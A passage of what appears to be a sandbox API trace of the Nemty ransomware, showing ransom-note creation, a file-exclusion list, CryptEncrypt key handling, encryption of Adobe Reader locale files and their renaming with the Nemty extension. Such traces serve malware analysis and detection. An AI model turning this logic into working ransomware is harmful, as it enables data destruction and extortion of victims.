lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tr_TR", lpUsedDefaultChar=0x0) returned 5 [0184.788] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94200 [0184.788] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0184.788] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0184.788] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0184.788] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0184.788] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.788] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0184.788] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.788] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.788] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94288 [0184.788] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.788] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94330 [0184.788] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0184.788] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0184.790] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94330 | out: hHeap=0x4f90000) returned 1 [0184.790] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.790] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0184.791] CloseHandle (hObject=0x254) returned 1 [0184.791] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0184.791] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0184.791] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0184.791] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94288 [0184.791] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94310 [0184.791] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0184.791] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0184.791] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.791] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0184.791] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.791] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.791] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0184.792] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.792] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63400f0 [0184.792] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0184.792] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0184.792] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0184.792] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.792] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0184.793] CloseHandle (hObject=0x254) returned 1 [0184.793] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0184.793] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0184.793] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0184.793] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d795840, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x21c8c390, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x21c8c390, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0184.793] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0184.793] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d795840, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x21c8c390, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x21c8c390, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0184.794] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0184.794] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0184.794] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db4daa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Accessibility.TUR", cAlternateFileName="ACCESS~1.TUR")) returned 1 [0184.794] lstrcmpiW (lpString1="Accessibility.TUR", lpString2=".") returned 1 [0184.794] lstrcmpiW (lpString1="Accessibility.TUR", lpString2="..") returned 1 [0184.794] lstrcmpiW (lpString1="Accessibility.TUR", lpString2="...") returned 1 [0184.794] lstrcmpiW (lpString1="Accessibility.TUR", lpString2="windows") returned -1 [0184.794] lstrcmpiW (lpString1="Accessibility.TUR", lpString2="$RECYCLE.BIN") returned 1 [0184.794] lstrcmpiW (lpString1="Accessibility.TUR", lpString2="rsa") returned -1 [0184.794] lstrcmpiW (lpString1="Accessibility.TUR", lpString2="NTDETECT.COM") returned -1 [0184.794] lstrcmpiW (lpString1="Accessibility.TUR", lpString2="ntldr") returned -1 [0184.794] lstrcmpiW (lpString1="Accessibility.TUR", lpString2="MSDOS.SYS") returned -1 [0184.794] lstrcmpiW (lpString1="Accessibility.TUR", lpString2="IO.SYS") returned -1 [0184.794] lstrcmpiW (lpString1="Accessibility.TUR", lpString2="boot.ini") returned -1 [0184.794] lstrcmpiW (lpString1="Accessibility.TUR", lpString2="boot.ini") returned -1 [0184.794] lstrcmpiW (lpString1="Accessibility.TUR", lpString2="AUTOEXEC.BAT") returned -1 [0184.794] lstrcmpiW (lpString1="Accessibility.TUR", lpString2="ntuser.dat") returned -1 [0184.794] lstrcmpiW (lpString1="Accessibility.TUR", lpString2="desktop.ini") returned -1 [0184.794] lstrcmpiW (lpString1="Accessibility.TUR", lpString2="CONFIG.SYS") returned -1 [0184.794] lstrcmpiW (lpString1="Accessibility.TUR", lpString2="RECYCLER") returned -1 [0184.794] lstrcmpiW (lpString1="Accessibility.TUR", lpString2="BOOTSECT.BAK") returned -1 [0184.794] lstrcmpiW (lpString1="Accessibility.TUR", lpString2="bootmgr") returned -1 [0184.794] lstrcmpiW (lpString1="Accessibility.TUR", lpString2="programdata") returned -1 [0184.794] lstrcmpiW (lpString1="Accessibility.TUR", lpString2="appdata") returned -1 [0184.794] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0184.794] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Accessibility.TUR", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0184.794] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.794] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Accessibility.TUR", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Accessibility.TUR", lpUsedDefaultChar=0x0) returned 17 [0184.794] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.794] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0184.794] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Accessibility.TUR", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0184.794] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.794] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Accessibility.TUR", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Accessibility.TUR", lpUsedDefaultChar=0x0) returned 17 [0184.795] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.795] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0184.795] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0184.795] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0184.795] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Accessibility.TUR", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0184.795] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.795] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Accessibility.TUR", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Accessibility.TUR", lpUsedDefaultChar=0x0) returned 17 [0184.795] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0184.795] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0184.795] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Accessibility.TUR", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0184.795] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.795] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Accessibility.TUR", cchWideChar=17, lpMultiByteStr=0x4f9ed58, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Accessibility.TUR", lpUsedDefaultChar=0x0) returned 17 [0184.795] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0184.795] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0184.795] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0184.795] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0184.795] Sleep (dwMilliseconds=0x5) [0184.795] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21cb24f0, dwHighDateTime=0x1d561e8)) [0184.795] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21cb24f0, dwHighDateTime=0x1d561e8)) [0184.795] GetLastError () returned 0xb7 [0184.795] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0184.795] GetLastError () returned 0xb7 [0184.795] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.795] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0184.796] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0184.796] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0184.796] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0184.796] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0184.796] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0184.796] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="pM9qvN7M8beLXYSlcUU+TruUD/FE188LNuWX8GiYyq+YGitfrtug7scNlEFig767\r\nGklUHQE7Ap2Z57mNl7tasaDqUcgw2NyNbIbhUeO3k/K+V5ddgLMSLbq8NjrUncZs\r\nwW6DuhacMfGyJsh7EMnVn1CYBlO3u22p7Mdi45AkRzSfCeFI2yjRsRpTW2WWg5Z2\r\nj0SOtKuNgKn9SkOeIzpIywo5s+VUaCpVM6Nq3iG+r6UfwQ86HqJ3UDrp4D8nN2e6\r\n4v6a+1jQyLhm45OF3tKf+a795yORUZmvXnAvkKVij+zLuUYGygyM7/Jqd9ulFJbr\r\nW3YAcD67gkH7cAMUYF9Usw==\r\n", pcchString=0x653e5dc) returned 1 [0184.796] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0184.796] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0184.796] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0184.796] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0184.796] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0184.796] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0184.796] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\Accessibility.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\accessibility.tur"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0184.796] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=41984) returned 1 [0184.796] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa400) returned 0x6352c48 [0184.796] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.797] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xa400, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0xa400, lpOverlapped=0x0) returned 1 [0184.801] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.801] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xa400, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0xa400, lpOverlapped=0x0) returned 1 [0184.801] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0184.801] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=41984, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa400 [0184.801] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0184.801] CloseHandle (hObject=0x2e8) returned 1 [0184.801] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0184.801] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0184.801] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0184.801] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0184.801] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0184.802] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0184.802] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0184.802] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0184.802] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0184.802] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0184.802] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\Accessibility.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\accessibility.tur"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\Accessibility.TUR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\accessibility.tur._nemty_kgobjgd_")) returned 1 [0184.802] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0184.802] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0184.802] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0184.802] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0184.802] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0184.802] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0184.802] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.802] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0184.802] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.802] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.802] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x830d9140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x61200, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Acroform.TUR", cAlternateFileName="")) returned 1 [0184.802] lstrcmpiW (lpString1="Acroform.TUR", lpString2=".") returned 1 [0184.803] lstrcmpiW (lpString1="Acroform.TUR", lpString2="..") returned 1 [0184.803] lstrcmpiW (lpString1="Acroform.TUR", lpString2="...") returned 1 [0184.803] lstrcmpiW (lpString1="Acroform.TUR", lpString2="windows") returned -1 [0184.803] lstrcmpiW (lpString1="Acroform.TUR", lpString2="$RECYCLE.BIN") returned 1 [0184.803] lstrcmpiW (lpString1="Acroform.TUR", lpString2="rsa") returned -1 [0184.803] lstrcmpiW (lpString1="Acroform.TUR", lpString2="NTDETECT.COM") returned -1 [0184.803] lstrcmpiW (lpString1="Acroform.TUR", lpString2="ntldr") returned -1 [0184.803] lstrcmpiW (lpString1="Acroform.TUR", lpString2="MSDOS.SYS") returned -1 [0184.803] lstrcmpiW (lpString1="Acroform.TUR", lpString2="IO.SYS") returned -1 [0184.803] lstrcmpiW (lpString1="Acroform.TUR", lpString2="boot.ini") returned -1 [0184.803] lstrcmpiW (lpString1="Acroform.TUR", lpString2="boot.ini") returned -1 [0184.803] lstrcmpiW (lpString1="Acroform.TUR", lpString2="AUTOEXEC.BAT") returned -1 [0184.803] lstrcmpiW (lpString1="Acroform.TUR", lpString2="ntuser.dat") returned -1 [0184.803] lstrcmpiW (lpString1="Acroform.TUR", lpString2="desktop.ini") returned -1 [0184.803] lstrcmpiW (lpString1="Acroform.TUR", lpString2="CONFIG.SYS") returned -1 [0184.803] lstrcmpiW (lpString1="Acroform.TUR", lpString2="RECYCLER") returned -1 [0184.803] lstrcmpiW (lpString1="Acroform.TUR", lpString2="BOOTSECT.BAK") returned -1 [0184.803] lstrcmpiW (lpString1="Acroform.TUR", lpString2="bootmgr") returned -1 [0184.803] lstrcmpiW (lpString1="Acroform.TUR", lpString2="programdata") returned -1 [0184.803] lstrcmpiW (lpString1="Acroform.TUR", lpString2="appdata") returned -1 [0184.803] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.803] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.TUR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0184.803] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.TUR", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.TUR", lpUsedDefaultChar=0x0) returned 12 [0184.803] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.803] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.TUR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0184.803] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.TUR", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.TUR", lpUsedDefaultChar=0x0) returned 12 [0184.803] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.803] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.803] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.803] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.TUR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0184.803] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.TUR", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.TUR", 